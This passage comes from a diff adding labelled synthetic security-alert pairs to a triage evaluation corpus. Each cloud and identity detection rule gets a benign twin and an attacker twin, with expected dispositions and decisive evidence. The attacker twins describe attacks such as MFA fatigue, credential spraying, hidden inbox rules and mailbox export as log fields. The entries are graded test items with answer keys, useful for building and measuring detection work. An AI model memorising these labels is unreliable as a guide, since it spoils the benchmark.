cluster subnet, and then attempted to delete one of the vaults.",+ "evidence": {+ "operationName": "SecretGet",+ "secretCount": 24,+ "windowSeconds": 91,+ "vaults": ["kv-payments-prod", "kv-identity-prod", "kv-data-prod", "kv-platform-prod"],+ "identity": "[email protected]",+ "callerIpAddress": "203.0.113.51",+ "callerNetwork": "unmanaged device, no compliance record",+ "priorOccurrences": "none for this principal on any of the four vaults",+ "subsequentVaultDelete": "VaultDelete attempted on kv-data-prod, denied by resource lock"+ },+ "provenance": {"source": "hand-authored", "source_id": "VRD-AZ-01-M", "license": "MIT", "license_url": "https://github.com/beenuar/AiSOC/blob/main/LICENSE", "authored_at": "2026-10-07", "authored_by": "aisoc-verdict-corpus-v1", "note": "Invented event in the vendor's published audit-log shape. No recorded telemetry was used."}+ },+ {+ "id": "VRD-AZ-02-B",+ "pair_id": "VRD-AZ-02",+ "twin_of": "VRD-AZ-02-M",+ "expected_disposition": "benign_true_positive",+ "labelled": true,+ "is_synthetic": true,+ "family": "cloud",+ "vendor": "azure_activity",+ "rule_id": "cloud-azure-owner-role-assignment",+ "title": "Owner role assigned on a subscription",+ "severity": "critical",+ "expected_techniques": ["T1098.003"],+ "benign_archetype": "break_glass_with_ticket",+ "decisive_evidence": "The assignment is a time-bound privileged-identity activation with a recorded approver and a four-hour expiry, requested against an open incident.",+ "evidence": {+ "operationName": "Microsoft.Authorization/roleAssignments/write",+ "roleDefinition": "Owner",+ "scope": "/subscriptions/00000000-0000-0000-0000-00000000beef",+ "principal": "[email protected]",+ "principalAgeDays": 1340,+ "activationType": "privileged identity management, eligible assignment activated",+ "approver": "[email protected]",+ "expiresAt": "T+4h",+ "justification": "INC-20261002-0031 payment gateway outage"+ },+ "provenance": {"source": "hand-authored", "source_id": "VRD-AZ-02-B", "license": "MIT", "license_url": "https://github.com/beenuar/AiSOC/blob/main/LICENSE", "authored_at": "2026-10-07", "authored_by": "aisoc-verdict-corpus-v1", "note": "Invented event in the vendor's published audit-log shape. No recorded telemetry was used."}+ },+ {+ "id": "VRD-AZ-02-M",+ "pair_id": "VRD-AZ-02",+ "twin_of": "VRD-AZ-02-B",+ "expected_disposition": "true_positive",+ "labelled": true,+ "is_synthetic": true,+ "family": "cloud",+ "vendor": "azure_activity",+ "rule_id": "cloud-azure-owner-role-assignment",+ "title": "Owner role assigned on a subscription",+ "severity": "critical",+ "expected_techniques": ["T1098.003"],+ "decisive_evidence": "The grant is permanent, there is no approver and no activation record, and the grantee is a guest account created forty minutes earlier.",+ "evidence": {+ "operationName": "Microsoft.Authorization/roleAssignments/write",+ "roleDefinition": "Owner",+ "scope": "/subscriptions/00000000-0000-0000-0000-00000000beef",+ "principal": "[email protected]",+ "principalAgeDays": 0,+ "activationType": "direct assignment, no privileged identity management record",+ "approver": null,+ "expiresAt": null,+ "justification": null+ },+ "provenance": {"source": "hand-authored", "source_id": "VRD-AZ-02-M", "license": "MIT", "license_url": "https://github.com/beenuar/AiSOC/blob/main/LICENSE", "authored_at": "2026-10-07", "authored_by": "aisoc-verdict-corpus-v1", "note": "Invented event in the vendor's published audit-log shape. No recorded telemetry was used."}+ },+ {+ "id": "VRD-ENT-01-B",+ "pair_id": "VRD-ENT-01",+ "twin_of": "VRD-ENT-01-M",+ "expected_disposition": "benign",+ "labelled": true,+ "is_synthetic": true,+ "family": "identity",+ "vendor": "entra_id",+ "rule_id": "identity-entra-impossible-travel",+ "title": "Sign-ins from two countries inside the travel window",+ "severity": "medium",+ "expected_techniques": ["T1078.004"],+ "benign_archetype": "travel_sign_in",+ "decisive_evidence": "Both sign-ins carry the same device id and the same continuous session id. The second address is the corporate VPN egress in that region, so the geography moved and the user did not.",+ "evidence": {+ "activity": "Sign-in",+ "firstLocation": "country A, 198.51.100.61",+ "secondLocation": "country B, 198.51.100.202",+ "minutesApart": 40,+ "deviceId": "7f1c0c3a-same-on-both",+ "deviceCompliant": true,+ "sessionId": "identical across both sign-ins",+ "secondIpOwner": "corporate VPN egress, region B",+ "mfaMethod": "WebAuthn, same authenticator on both"+ },+ "provenance": {"source": "hand-authored", "source_id": "VRD-ENT-01-B", "license": "MIT", "license_url": "https://github.com/beenuar/AiSOC/blob/main/LICENSE", "authored_at": "2026-10-07", "authored_by": "aisoc-verdict-corpus-v1", "note": "Invented event in the vendor's published audit-log shape. No recorded telemetry was used."}+ },+ {+ "id": "VRD-ENT-01-M",+ "pair_id": "VRD-ENT-01",+ "twin_of": "VRD-ENT-01-B",+ "expected_disposition": "true_positive",+ "labelled": true,+ "is_synthetic": true,+ "family": "identity",+ "vendor": "entra_id",+ "rule_id": "identity-entra-impossible-travel",+ "title": "Sign-ins from two countries inside the travel window",+ "severity": "medium",+ "expected_techniques": ["T1078.004"],+ "decisive_evidence": "The device ids differ, the second device is not compliant, the session carries a token-replay indicator, and a new MFA method was registered three minutes after the second sign-in.",+ "evidence": {+ "activity": "Sign-in",+ "firstLocation": "country A, 198.51.100.61",+ "secondLocation": "country C, 203.0.113.119",+ "minutesApart": 12,+ "deviceId": "second sign-in has no registered device id",+ "deviceCompliant": false,+ "sessionId": "new session, token issued with a refresh token first seen on another address",+ "secondIpOwner": "residential proxy ASN",+ "mfaMethod": "no interactive MFA, token presented",+ "followedBy": "AuthenticationMethod added at T+3m"+ },+ "provenance": {"source": "hand-authored", "source_id": "VRD-ENT-01-M", "license": "MIT", "license_url": "https://github.com/beenuar/AiSOC/blob/main/LICENSE", "authored_at": "2026-10-07", "authored_by": "aisoc-verdict-corpus-v1", "note": "Invented event in the vendor's published audit-log shape. No recorded telemetry was used."}+ },+ {+ "id": "VRD-ENT-02-B",+ "pair_id": "VRD-ENT-02",+ "twin_of": "VRD-ENT-02-M",+ "expected_disposition": "false_positive",+ "labelled": true,+ "is_synthetic": true,+ "family": "identity",+ "vendor": "entra_id",+ "rule_id": "identity-entra-mfa-push-fatigue",+ "title": "Repeated MFA prompts for one account",+ "severity": "high",+ "expected_techniques": ["T1621"],+ "benign_archetype": "admin_bulk_change",+ "decisive_evidence": "Every prompt came from the same registered device during an authenticator re-registration, and all nine were cancelled by the service rather than denied by the user. The rule counted service retries as attacker-driven prompts.",+ "evidence": {+ "promptCount": 9,+ "windowMinutes": 6,+ "distinctSourceIps": 1,+ "sourceIp": "198.51.100.61",+ "sourceIpOwner": "corporate egress, the user's usual address",+ "outcomePerPrompt": "9 of 9 cancelled by the service, 0 denied by the user",+ "concurrentActivity": "Authenticator app re-registration in progress, device wipe recorded 20 minutes earlier",+ "finalOutcome": "registration completed on the same device",+ "newMfaMethodAfter": false+ },+ "provenance": {"source": "hand-authored", "source_id": "VRD-ENT-02-B", "license": "MIT", "license_url": "https://github.com/beenuar/AiSOC/blob/main/LICENSE", "authored_at": "2026-10-07", "authored_by": "aisoc-verdict-corpus-v1", "note": "Invented event in the vendor's published audit-log shape. No recorded telemetry was used."}+ },+ {+ "id": "VRD-ENT-02-M",+ "pair_id": "VRD-ENT-02",+ "twin_of": "VRD-ENT-02-B",+ "expected_disposition": "true_positive",+ "labelled": true,+ "is_synthetic": true,+ "family": "identity",+ "vendor": "entra_id",+ "rule_id": "identity-entra-mfa-push-fatigue",+ "title": "Repeated MFA prompts for one account",+ "severity": "high",+ "expected_techniques": ["T1621"],+ "decisive_evidence": "The prompts came from an address in an ASN this account has never used, twenty-one were denied by the user before one was approved, and a new MFA method was added two minutes after the approval.",+ "evidence": {+ "promptCount": 22,+ "windowMinutes": 11,+ "distinctSourceIps": 3,+ "sourceIp": "203.0.113.119",+ "sourceIpOwner": "residential proxy ASN, no prior sign-in for this tenant",+ "outcomePerPrompt": "21 denied by the user, 1 approved",+ "concurrentActivity": "no registration flow open",+ "finalOutcome": "sign-in succeeded on prompt 22",+ "newMfaMethodAfter": "AuthenticationPhoneMethod added at T+2m"+ },+ "provenance": {"source": "hand-authored", "source_id": "VRD-ENT-02-M", "license": "MIT", "license_url": "https://github.com/beenuar/AiSOC/blob/main/LICENSE", "authored_at": "2026-10-07", "authored_by": "aisoc-verdict-corpus-v1", "note": "Invented event in the vendor's published audit-log shape. No recorded telemetry was used."}+ },+ {+ "id": "VRD-ENT-03-B",+ "pair_id": "VRD-ENT-03",+ "twin_of": "VRD-ENT-03-M",+ "expected_disposition": "benign_true_positive",+ "labelled": true,+ "is_synthetic": true,+ "family": "identity",+ "vendor": "entra_id",+ "rule_id": "identity-entra-privileged-group-membership-change",+ "title": "Membership changed on a directory group",+ "severity": "high",+ "expected_techniques": ["T1098"],+ "benign_archetype": "admin_bulk_change",+ "decisive_evidence": "The actor is the governance sync principal running a scheduled access review, the direction is removal, and the group is a deprovisioned application group rather than a privileged one.",+ "evidence": {+ "activity": "Remove member from group",+ "memberChangeCount": 412,+ "direction": "removals only",+ "group": "app-legacy-crm-users",+ "groupIsPrivileged": false,+ "actor": "service principal IGA-sync",+ "actorPriorGroupWrites": "weekly for 2 years",+ "changeWindow": "scheduled access review, campaign id AR-2026-Q4",+ "approvalRecord": "access review campaign AR-2026-Q4, reviewer sign-off recorded"+ },+ "provenance": {"source": "hand-authored", "source_id": "VRD-ENT-03-B", "license": "MIT", "license_url": "https://github.com/beenuar/AiSOC/blob/main/LICENSE", "authored_at": "2026-10-07", "authored_by": "aisoc-verdict-corpus-v1", "note": "Invented event in the vendor's published audit-log shape. No recorded telemetry was used."}+ },+ {+ "id": "VRD-ENT-03-M",+ "pair_id": "VRD-ENT-03",+ "twin_of": "VRD-ENT-03-B",+ "expected_disposition": "true_positive",+ "labelled": true,+ "is_synthetic": true,+ "family": "identity",+ "vendor": "entra_id",+ "rule_id": "identity-entra-privileged-group-membership-change",+ "title": "Membership changed on a directory group",+ "severity": "high",+ "expected_techniques": ["T1098"],+ "decisive_evidence": "Three additions into Global Administrators by a principal that has never written a group before, outside any change window and with no review campaign.",+ "evidence": {+ "activity": "Add member to group",+ "memberChangeCount": 3,+ "direction": "additions only",+ "group": "Global Administrators",+ "groupIsPrivileged": true,+ "actor": "[email protected]",+ "actorPriorGroupWrites": "none in 400 days",+ "changeWindow": "03:14Z, outside the declared change window",+ "approvalRecord": null+ },+ "provenance": {"source": "hand-authored", "source_id": "VRD-ENT-03-M", "license": "MIT", "license_url": "https://github.com/beenuar/AiSOC/blob/main/LICENSE", "authored_at": "2026-10-07", "authored_by": "aisoc-verdict-corpus-v1", "note": "Invented event in the vendor's published audit-log shape. No recorded telemetry was used."}+ },+ {+ "id": "VRD-OKTA-01-B",+ "pair_id": "VRD-OKTA-01",+ "twin_of": "VRD-OKTA-01-M",+ "expected_disposition": "benign_true_positive",+ "labelled": true,+ "is_synthetic": true,+ "family": "identity",+ "vendor": "okta",+ "rule_id": "identity-okta-api-token-created",+ "title": "Administrative API token created",+ "severity": "high",+ "expected_techniques": ["T1098.001"],+ "benign_archetype": "admin_bulk_change",+ "decisive_evidence": "The token was created by the identity platform team against an approved ticket and is bound to a network zone that only the corporate egress range satisfies.",+ "evidence": {+ "eventType": "system.api_token.create",+ "actor": "[email protected]",+ "actorRole": "Super Administrator, held for 3 years",+ "networkZoneBinding": "CorporateEgress (198.51.100.0/27)",+ "changeTicket": "CHG-20260930-0211",+ "sessionOrigin": "198.51.100.22",+ "precedingSessionEvents": ["user.session.start with WebAuthn"],+ "tokenExpiry": "90 days"+ },+ "provenance": {"source": "hand-authored", "source_id": "VRD-OKTA-01-B", "license": "MIT", "license_url": "https://github.com/beenuar/AiSOC/blob/main/LICENSE", "authored_at": "2026-10-07", "authored_by": "aisoc-verdict-corpus-v1", "note": "Invented event in the vendor's published audit-log shape. No recorded telemetry was used."}+ },+ {+ "id": "VRD-OKTA-01-M",+ "pair_id": "VRD-OKTA-01",+ "twin_of": "VRD-OKTA-01-B",+ "expected_disposition": "true_positive",+ "labelled": true,+ "is_synthetic": true,+ "family": "identity",+ "vendor": "okta",+ "rule_id": "identity-okta-api-token-created",+ "title": "Administrative API token created",+ "severity": "high",+ "expected_techniques": ["T1098.001"],+ "decisive_evidence": "The session that minted the token began with a help-desk password reset and an MFA reset on the same call, the token has no network zone binding, and the account was granted Super Administrator eight minutes before.",+ "evidence": {+ "eventType": "system.api_token.create",+ "actor": "[email protected]",+ "actorRole": "Super Administrator, granted at T-8m",+ "networkZoneBinding": null,+ "changeTicket": null,+ "sessionOrigin": "203.0.113.77",+ "precedingSessionEvents": [+ "user.account.reset_password by help desk",+ "user.mfa.factor.reset_all by help desk",+ "user.session.start with SMS"+ ],+ "tokenExpiry": "no expiry set"+ },+ "provenance": {"source": "hand-authored", "source_id": "VRD-OKTA-01-M", "license": "MIT", "license_url": "https://github.com/beenuar/AiSOC/blob/main/LICENSE", "authored_at": "2026-10-07", "authored_by": "aisoc-verdict-corpus-v1", "note": "Invented event in the vendor's published audit-log shape. No recorded telemetry was used."}+ },+ {+ "id": "VRD-OKTA-02-B",+ "pair_id": "VRD-OKTA-02",+ "twin_of": "VRD-OKTA-02-M",+ "expected_disposition": "benign",+ "labelled": true,+ "is_synthetic": true,+ "family": "identity",+ "vendor": "okta",+ "rule_id": "identity-okta-sign-in-from-new-country",+ "title": "Sign-in from a country not seen for this account",+ "severity": "medium",+ "expected_techniques": ["T1078.004"],+ "benign_archetype": "travel_sign_in",+ "decisive_evidence": "An approved travel record in the HR system covers the dates and the destination, and the sign-in used the same hardware authenticator this account has used for two years.",+ "evidence": {+ "eventType": "user.session.start",+ "country": "country D, first sign-in from there",+ "sourceIp": "198.51.100.231",+ "travelRecord": "HR travel request TRV-4417, approved, covers these dates and this country",+ "mfaFactor": "WebAuthn, authenticator aaguid unchanged for 2 years",+ "deviceFingerprint": "unchanged",+ "factorChangesAfter": "none",+ "subsequentAdminActions": "none"+ },+ "provenance": {"source": "hand-authored", "source_id": "VRD-OKTA-02-B", "license": "MIT", "license_url": "https://github.com/beenuar/AiSOC/blob/main/LICENSE", "authored_at": "2026-10-07", "authored_by": "aisoc-verdict-corpus-v1", "note": "Invented event in the vendor's published audit-log shape. No recorded telemetry was used."}+ },+ {+ "id": "VRD-OKTA-02-M",+ "pair_id": "VRD-OKTA-02",+ "twin_of": "VRD-OKTA-02-B",+ "expected_disposition": "true_positive",+ "labelled": true,+ "is_synthetic": true,+ "family": "identity",+ "vendor": "okta",+ "rule_id": "identity-okta-sign-in-from-new-country",+ "title": "Sign-in from a country not seen for this account",+ "severity": "medium",+ "expected_techniques": ["T1078.004"],+ "decisive_evidence": "No travel record exists, the strong authenticator was replaced with SMS on a new device, and the surviving factor was deactivated four minutes after the sign-in.",+ "evidence": {+ "eventType": "user.session.start",+ "country": "country E, first sign-in from there",+ "sourceIp": "203.0.113.145",+ "travelRecord": null,+ "mfaFactor": "SMS, enrolled 6 minutes before the sign-in",+ "deviceFingerprint": "new",+ "factorChangesAfter": "user.mfa.factor.deactivate on the WebAuthn authenticator at T+4m",+ "subsequentAdminActions": "application assignment to a personal mail app"+ },+ "provenance": {"source": "hand-authored", "source_id": "VRD-OKTA-02-M", "license": "MIT", "license_url": "https://github.com/beenuar/AiSOC/blob/main/LICENSE", "authored_at": "2026-10-07", "authored_by": "aisoc-verdict-corpus-v1", "note": "Invented event in the vendor's published audit-log shape. No recorded telemetry was used."}+ },+ {+ "id": "VRD-OKTA-03-B",+ "pair_id": "VRD-OKTA-03",+ "twin_of": "VRD-OKTA-03-M",+ "expected_disposition": "false_positive",+ "labelled": true,+ "is_synthetic": true,+ "family": "identity",+ "vendor": "okta",+ "rule_id": "identity-okta-credential-spray",+ "title": "High volume of failed authentications",+ "severity": "high",+ "expected_techniques": ["T1110.003"],+ "benign_archetype": "scanner_or_security_tooling",+ "decisive_evidence": "The source is the organisation's approved vulnerability scanner, inside its booked window and listed in the scanner inventory. Every username it tried is one it was given, and nothing succeeded.",+ "evidence": {+ "failedAuthCount": 1400,+ "windowMinutes": 35,+ "distinctUsernames": 12,+ "sourceIp": "198.51.100.120",+ "sourceIdentity": "approved scanning appliance, asset id SCAN-02, in the scanner inventory",+ "scheduledWindow": "authorised scan window 01:00-02:00Z, booked as SCAN-2026-10-04",+ "successCount": 0,+ "usernameSource": "the 12 test accounts supplied to the scanner",+ "userAgent": "scanner appliance, consistent across all 1400"+ },+ "provenance": {"source": "hand-authored", "source_id": "VRD-OKTA-03-B", "license": "MIT", "license_url": "https://github.com/beenuar/AiSOC/blob/main/LICENSE", "authored_at": "2026-10-07", "authored_by": "aisoc-verdict-corpus-v1", "note": "Invented event in the vendor's published audit-log shape. No recorded telemetry was used."}+ },+ {+ "id": "VRD-OKTA-03-M",+ "pair_id": "VRD-OKTA-03",+ "twin_of": "VRD-OKTA-03-B",+ "expected_disposition": "true_positive",+ "labelled": true,+ "is_synthetic": true,+ "family": "identity",+ "vendor": "okta",+ "rule_id": "identity-okta-credential-spray",+ "title": "High volume of failed authentications",+ "severity": "high",+ "expected_techniques": ["T1110.003"],+ "decisive_evidence": "One password attempt against nine hundred distinct accounts from a residential proxy range, with six successes. The breadth across accounts and the single attempt per account are the spray signature, and no scan was booked.",+ "evidence": {+ "failedAuthCount": 1400,+ "windowMinutes": 38,+ "distinctUsernames": 900,+ "sourceIp": "203.0.113.5 and 41 neighbours in 203.0.113.0/24",+ "sourceIdentity": "residential proxy ASN, not in the scanner inventory",+ "scheduledWindow": null,+ "successCount": 6,+ "usernameSource": "alphabetical walk of the directory, including 140 disabled accounts",+ "userAgent": "7 rotating browser strings"+ },+ "provenance": {"source": "hand-authored", "source_id": "VRD-OKTA-03-M", "license": "MIT", "license_url": "https://github.com/beenuar/AiSOC/blob/main/LICENSE", "authored_at": "2026-10-07", "authored_by": "aisoc-verdict-corpus-v1", "note": "Invented event in the vendor's published audit-log shape. No recorded telemetry was used."}+ },+ {+ "id": "VRD-GWS-01-B",+ "pair_id": "VRD-GWS-01",+ "twin_of": "VRD-GWS-01-M",+ "expected_disposition": "benign_true_positive",+ "labelled": true,+ "is_synthetic": true,+ "family": "saas",+ "vendor": "google_workspace",+ "rule_id": "saas-workspace-bulk-drive-movement",+ "title": "Bulk movement of Drive content for one user",+ "severity": "medium",+ "expected_techniques": ["T1537"],+ "benign_archetype": "admin_bulk_change",+ "decisive_evidence": "The transfer was performed by the admin offboarding tool against an approved leaver ticket, and ownership moved to the leaver's manager inside the organisation. Nothing was downloaded to a device.",+ "evidence": {+ "eventName": "drive.admin.transfer_ownership",+ "fileCount": 3100,+ "actor": "admin console, offboarding automation",+ "fromUser": "[email protected]",+ "toUser": "[email protected]",+ "destinationIsExternal": false,+ "ticket": "HR-OFFBOARD-7781, approved",+ "downloadsToDevice": 0,+ "externalSharesCreated": 0+ },+ "provenance": {"source": "hand-authored", "source_id": "VRD-GWS-01-B", "license": "MIT", "license_url": "https://github.com/beenuar/AiSOC/blob/main/LICENSE", "authored_at": "2026-10-07", "authored_by": "aisoc-verdict-corpus-v1", "note": "Invented event in the vendor's published audit-log shape. No recorded telemetry was used."}+ },+ {+ "id": "VRD-GWS-01-M",+ "pair_id": "VRD-GWS-01",+ "twin_of": "VRD-GWS-01-B",+ "expected_disposition": "true_positive",+ "labelled": true,+ "is_synthetic": true,+ "family": "saas",+ "vendor": "google_workspace",+ "rule_id": "saas-workspace-bulk-drive-movement",+ "title": "Bulk movement of Drive content for one user",+ "severity": "medium",+ "expected_techniques": ["T1537"],+ "decisive_evidence": "The user moved their own content, the destination is a personal mail account outside the organisation, and three thousand files were downloaded to an unmanaged device three days before their leaving date.",+ "evidence": {+ "eventName": "drive.change_user_access and drive.download",+ "fileCount": 3100,+ "actor": "[email protected]",+ "fromUser": "[email protected]",+ "toUser": "[email protected]",+ "destinationIsExternal": true,+ "ticket": null,+ "downloadsToDevice": 3100,+ "externalSharesCreated": 212,+ "context": "leaving date is 3 days away, device is unmanaged"+ },+ "provenance": {"source": "hand-authored", "source_id": "VRD-GWS-01-M", "license": "MIT", "license_url": "https://github.com/beenuar/AiSOC/blob/main/LICENSE", "authored_at": "2026-10-07", "authored_by": "aisoc-verdict-corpus-v1", "note": "Invented event in the vendor's published audit-log shape. No recorded telemetry was used."}+ },+ {+ "id": "VRD-GWS-02-B",+ "pair_id": "VRD-GWS-02",+ "twin_of": "VRD-GWS-02-M",+ "expected_disposition": "benign",+ "labelled": true,+ "is_synthetic": true,+ "family": "saas",+ "vendor": "google_workspace",+ "rule_id": "saas-workspace-oauth-grant",+ "title": "Third-party application granted access to user data",+ "severity": "high",+ "expected_techniques": ["T1528"],+ "benign_archetype": "ci_service_account",+ "decisive_evidence": "The application is published by the organisation's own Workspace project, it is on the admin allowlist, and the scope it was granted is read-only.",+ "evidence": {+ "eventName": "oauth2.authorize",+ "appName": "internal-reporting-sync",+ "appPublisherProject": "the organisation's own Workspace project, verified publisher",+ "appAgeDays": 740,+ "scopesGranted": ["https://www.googleapis.example/auth/drive.readonly"],+ "grantingUsers": 1,+ "grantWindowMinutes": 1,+ "adminAllowlisted": true+ },+ "provenance": {"source": "hand-authored", "source_id": "VRD-GWS-02-B", "license": "MIT", "license_url": "https://github.com/beenuar/AiSOC/blob/main/LICENSE", "authored_at": "2026-10-07", "authored_by": "aisoc-verdict-corpus-v1", "note": "Invented event in the vendor's published audit-log shape. No recorded telemetry was used."}+ },+ {+ "id": "VRD-GWS-02-M",+ "pair_id": "VRD-GWS-02",+ "twin_of": "VRD-GWS-02-B",+ "expected_disposition": "true_positive",+ "labelled": true,+ "is_synthetic": true,+ "family": "saas",+ "vendor": "google_workspace",+ "rule_id": "saas-workspace-oauth-grant",+ "title": "Third-party application granted access to user data",+ "severity": "high",+ "expected_techniques": ["T1528"],+ "decisive_evidence": "An application registered six days ago, published by nobody the organisation knows, obtained full mailbox scope from fourteen users inside half an hour. That is a consent campaign, not adoption.",+ "evidence": {+ "eventName": "oauth2.authorize",+ "appName": "Docs Secure Viewer",+ "appPublisherProject": "unverified external publisher",+ "appAgeDays": 6,+ "scopesGranted": ["https://mail.google.example/", "https://www.googleapis.example/auth/drive"],+ "grantingUsers": 14,+ "grantWindowMinutes": 30,+ "adminAllowlisted": false,+ "precedingActivity": "14 users received the same link from one internal mailbox"+ },+ "provenance": {"source": "hand-authored", "source_id": "VRD-GWS-02-M", "license": "MIT", "license_url": "https://github.com/beenuar/AiSOC/blob/main/LICENSE", "authored_at": "2026-10-07", "authored_by": "aisoc-verdict-corpus-v1", "note": "Invented event in the vendor's published audit-log shape. No recorded telemetry was used."}+ },+ {+ "id": "VRD-M365-01-B",+ "pair_id": "VRD-M365-01",+ "twin_of": "VRD-M365-01-M",+ "expected_disposition": "false_positive",+ "labelled": true,+ "is_synthetic": true,+ "family": "saas",+ "vendor": "m365",+ "rule_id": "saas-m365-suspicious-inbox-rule",+ "title": "Inbox rule created that moves and hides mail",+ "severity": "medium",+ "expected_techniques": ["T1564.008"],+ "benign_archetype": "admin_bulk_change",+ "decisive_evidence": "The rule is named, matches a mailing-list header, and neither forwards nor deletes nor marks as read. The detection fired on the word 'move' alone, which every filing rule contains.",+ "evidence": {+ "operation": "New-InboxRule",+ "ruleName": "Newsletters",+ "conditions": ["HeaderContainsWords: List-Unsubscribe"],+ "actions": ["MoveToFolder: Newsletters"],+ "forwardsExternally": false,+ "deletesMessage": false,+ "marksAsRead": false,+ "creatorSessionIp": "198.51.100.61",+ "creatorSessionIsUsual": true+ },+ "provenance": {"source": "hand-authored", "source_id": "VRD-M365-01-B", "license": "MIT", "license_url": "https://github.com/beenuar/AiSOC/blob/main/LICENSE", "authored_at": "2026-10-07", "authored_by": "aisoc-verdict-corpus-v1", "note": "Invented event in the vendor's published audit-log shape. No recorded telemetry was used."}+ },+ {+ "id": "VRD-M365-01-M",+ "pair_id": "VRD-M365-01",+ "twin_of": "VRD-M365-01-B",+ "expected_disposition": "true_positive",+ "labelled": true,+ "is_synthetic": true,+ "family": "saas",+ "vendor": "m365",+ "rule_id": "saas-m365-suspicious-inbox-rule",+ "title": "Inbox rule created that moves and hides mail",+ "severity": "medium",+ "expected_techniques": ["T1564.008"],+ "decisive_evidence": "The rule has a single-space name so it is invisible in the rules list, it targets payment keywords, and it moves them to RSS Feeds and marks them read. That combination exists to hide a finance conversation from its owner.",+ "evidence": {+ "operation": "New-InboxRule",+ "ruleName": " ",+ "conditions": ["SubjectOrBodyContainsWords: invoice, payment, wire, IBAN"],+ "actions": ["MoveToFolder: RSS Feeds", "MarkAsRead: true"],+ "forwardsExternally": false,+ "deletesMessage": false,+ "marksAsRead": true,+ "creatorSessionIp": "203.0.113.119",+ "creatorSessionIsUsual": false+ },+ "provenance": {"source": "hand-authored", "source_id": "VRD-M365-01-M", "license": "MIT", "license_url": "https://github.com/beenuar/AiSOC/blob/main/LICENSE", "authored_at": "2026-10-07", "authored_by": "aisoc-verdict-corpus-v1", "note": "Invented event in the vendor's published audit-log shape. No recorded telemetry was used."}+ },+ {+ "id": "VRD-M365-02-B",+ "pair_id": "VRD-M365-02",+ "twin_of": "VRD-M365-02-M",+ "expected_disposition": "benign_true_positive",+ "labelled": true,+ "is_synthetic": true,+ "family": "saas",+ "vendor": "m365",+ "rule_id": "saas-m365-compliance-search-export",+ "title": "Compliance search run across mailboxes",+ "severity": "high",+ "expected_techniques": ["T1114.002"],+ "benign_archetype": "break_glass_with_ticket",+ "decisive_evidence": "The search is scoped to two mailboxes named in an open legal matter, run by a long-standing eDiscovery Manager, and the matter id is recorded on the search itself.",+ "evidence": {+ "operation": "New-ComplianceSearch",+ "mailboxScope": "2 named mailboxes",+ "query": "participants:counterparty, date range 2026-03-01 to 2026-06-30",+ "actor": "[email protected]",+ "actorRole": "eDiscovery Manager, held for 2 years",+ "matterId": "LEGAL-MATTER-2026-114, hold in force",+ "exportAction": "New-ComplianceSearchAction -Preview",+ "actorElevatedRecently": false+ },+ "provenance": {"source": "hand-authored", "source_id": "VRD-M365-02-B", "license": "MIT", "license_url": "https://github.com/beenuar/AiSOC/blob/main/LICENSE", "authored_at": "2026-10-07", "authored_by": "aisoc-verdict-corpus-v1", "note": "Invented event in the vendor's published audit-log shape. No recorded telemetry was used."}+ },+ {+ "id": "VRD-M365-02-M",+ "pair_id": "VRD-M365-02",+ "twin_of": "VRD-M365-02-B",+ "expected_disposition": "true_positive",+ "labelled": true,+ "is_synthetic": true,+ "family": "saas",+ "vendor": "m365",+ "rule_id": "saas-m365-compliance-search-export",+ "title": "Compliance search run across mailboxes",+ "severity": "high",+ "expected_techniques": ["T1114.002"],+ "decisive_evidence": "An account elevated nineteen minutes earlier searched every mailbox in the tenant for credential keywords and immediately exported the result. There is no matter and no hold.",+ "evidence": {+ "operation": "New-ComplianceSearch",+ "mailboxScope": "all mailboxes in the tenant",+ "query": "password OR vpn OR \"mfa code\" OR \"one time\"",+ "actor": "[email protected]",+ "actorRole": "eDiscovery Manager, granted at T-19m",+ "matterId": null,+ "exportAction": "New-ComplianceSearchAction -Export, downloaded at T+6m",+ "actorElevatedRecently": true+ },+ "provenance": {"source": "hand-authored", "source_id": "VRD-M365-02-M", "license": "MIT", "license_url": "https://github.com/beenuar/AiSOC/blob/main/LICENSE", "authored_at": "2026-10-07", "authored_by": "aisoc-verdict-corpus-v1", "note": "Invented event in the vendor's published audit-log shape. No recorded telemetry was used."}+ },+ {+ "id": "VRD-M365-03-B",+ "pair_id": "VRD-M365-03",+ "twin_of": "VRD-M365-03-M",+ "expected_disposition": "benign",+ "labelled": true,+ "is_synthetic": true,+ "family": "saas",+ "vendor": "m365",+ "rule_id": "saas-m365-mailbox-forwarding-configured",+ "title": "Mailbox forwarding configured",+ "severity": "high",+ "expected_techniques": ["T1114.003"],+ "benign_archetype": "admin_bulk_change",+ "decisive_evidence": "Forwarding points at an internal shared mailbox, a copy is still delivered to the original, and a cover arrangement recorded in the service desk covers the dates.",+ "evidence": {+ "operation": "Set-Mailbox -ForwardingSmtpAddress",+ "forwardingTarget": "[email protected]",+ "targetIsExternal": false,+ "targetDomainAgeDays": 4200,+ "deliverToMailboxAndForward": true,+ "configuredBy": "mailbox owner, usual session",+ "ticket": "SD-20260921-3310 cover arrangement",+ "endDateSet": "2026-11-15"+ },+ "provenance": {"source": "hand-authored", "source_id": "VRD-M365-03-B", "license": "MIT", "license_url": "https://github.com/beenuar/AiSOC/blob/main/LICENSE", "authored_at": "2026-10-07", "authored_by": "aisoc-verdict-corpus-v1", "note": "Invented event in the vendor's published audit-log shape. No recorded telemetry was used."}+ },+ {+ "id": "VRD-M365-03-M",+ "pair_id": "VRD-M365-03",+ "twin_of": "VRD-M365-03-B",+ "expected_disposition": "true_positive",+ "labelled": true,+ "is_synthetic": true,+ "family": "saas",+ "vendor": "m365",+ "rule_id": "saas-m365-mailbox-forwarding-configured",+ "title": "Mailbox forwarding configured",+ "severity": "high",+ "expected_techniques": ["T1114.003"],+ "decisive_evidence": "Forwarding points at a domain registered six days ago, no copy is kept in the mailbox, and the change was made from a session the account has never used.",+ "evidence": {+ "operation": "Set-Mailbox -ForwardingSmtpAddress",+ "forwardingTarget": "[email protected]",+ "targetIsExternal": true,+ "targetDomainAgeDays": 6,+ "deliverToMailboxAndForward": false,+ "configuredBy": "mailbox owner credential from 203.0.113.119, first use",+ "ticket": null,+ "endDateSet": null+ },+ "provenance": {"source": "hand-authored", "source_id": "VRD-M365-03-M", "license": "MIT", "license_url": "https://github.com/beenuar/AiSOC/blob/main/LICENSE", "authored_at": "2026-10-07", "authored_by": "aisoc-verdict-corpus-v1", "note": "Invented event in the vendor's published audit-log shape. No recorded telemetry was used."}+ },+ {+ "id": "VRD-GH-01-B",+ "pair_id": "VRD-GH-01",+ "twin_of": "VRD-GH-01-M",+ "expected_disposition": "benign",+ "labelled": true,+ "is_synthetic": true,+ "family": "saas",+ "vendor": "github",+ "rule_id": "saas-github-force-push",+ "title": "Force push rewrote branch history",+ "severity": "medium",+ "expected_techniques": 